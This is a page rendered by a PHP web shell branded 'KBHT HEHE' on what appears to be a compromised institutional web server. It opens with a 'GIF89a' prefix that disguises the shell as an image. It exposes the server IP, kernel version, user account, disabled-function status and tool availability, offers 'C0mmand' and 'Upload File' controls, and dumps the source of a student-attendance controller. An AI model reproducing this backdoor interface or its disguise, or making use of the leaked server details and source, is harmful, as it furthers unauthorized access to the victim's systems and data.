GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 18.188.68.115
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../grievance/../cas/application/controllers/student/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../grievance/../cas/application/controllers/student/Attendance.php
<?php

/**
 * Request handler for all requestes related to student's attendance
 *
 * @author Softpro India Pvt. Ltd.
 */
class Attendance extends CI_Controller {

    public function __construct() {
        parent::__construct();
        $this->load->model("admin/AttendanceManagement");
        $this->load->model("admin/SubjectManagement");
    }

    public function index() {
        if ($this->sessionvalidator->isStudentLoggedIn()) {
            $studentData = $this->session->userdata("studentData");
            $viewData["selectedFrom"] = "";
            $viewData["selectedTo"] = "";
            $attendanceReportArray = array();
            if (isset($_POST["filterAttendanceBtn"])) {
                $from = $this->input->post("from");
                $to = $this->input->post("to");
                $viewData["selectedFrom"] = $from;
                $viewData["selectedTo"] = $to;
                $allottedSubjectsToStudent = $this->SubjectManagement->getAllSubjectsAllotedToStudent($studentData["stu_id"], $studentData["stu_current_semester"])->result();
                $viewData["totalClasses"] = "";
                $overAllTotalClassesAttended = 0;
                $overAllTotalClassesHeld = 0;
                $overAllTotalPercentage = 0;
                if (sizeof($allottedSubjectsToStudent)) {
                    for ($i = 0; $i < sizeof($allottedSubjectsToStudent); $i++) {
                        $subject = $allottedSubjectsToStudent[$i];
                        $totalClasses = $this->AttendanceManagement->getTotalClasesCountBy($subject->sta_id, ($from == "" || $from == null ) ? "" : date('Y-m-d', strtotime(str_replace('/', '-', $from))), ($to == "" || $to == null ) ? "" : date('Y-m-d', strtotime(str_replace('/', '-', $to))))->result()[0]->total_classes;
                        $totalPresent = $this->AttendanceManagement->getTotalAttendanceOfStudentBy($subject->stta_id, ($from == "" || $from == null ) ? "" : date('Y-m-d', strtotime(str_replace('/', '-', $from))), ($to == "" || $to == null ) ? "" : date('Y-m-d', strtotime(str_replace('/', '-', $to))))->result()[0];
                        $studentSingleSubjectAttendanceData = array(
                            'subject_name' => " <span style='color: blue;'>( $subject->sm_code - $subject->sta_id ) </span> " . $subject->sm_name,
                            'total_classes' => $totalClasses,
                            'present' => $totalPresent->present_count,
                            'absent' => ($totalClasses - $totalPresent->present_count),
                            'percent' => ceil(($totalPresent->present_count == 0) ? "0.00" : number_format((float) (($totalPresent->present_count / $totalClasses) * 100), 2, '.', '')),
                        );
                        $overAllTotalClassesAttended = $overAllTotalClassesAttended + $totalPresent->present_count;
                        $overAllTotalClassesHeld = $overAllTotalClassesHeld + $totalClasses;
                        array_push($attendanceReportArray, $studentSingleSubjectAttendanceData);
                    }
                    $viewData["overAllTotalClassesAttended"] = $overAllTotalClassesAttended;
                    $viewData["overAllTotalClassesHeld"] = $overAllTotalClassesHeld;
                    $viewData["overAllTotalPercentage"] = ($overAllTotalClassesHeld == 0 || $overAllTotalClassesAttended == 0) ? 0: ceil(($overAllTotalClassesAttended / $overAllTotalClassesHeld) * 100);
                } else {
                    $this->session->set_flashdata("errorMessage", "No Subject Allotted Yet. Try Later.");
                }
                $viewData["attendanceData"] = $attendanceReportArray;
                $this->load->view("student/attendanceSummary", $viewData);
            } else {
                $viewData["attendanceData"] = array();
                $this->load->view("student/academics/attendanceSummary", $viewData);
            }
        } else {
            redirect("student/");
        }
    }

}

KBHT - 2023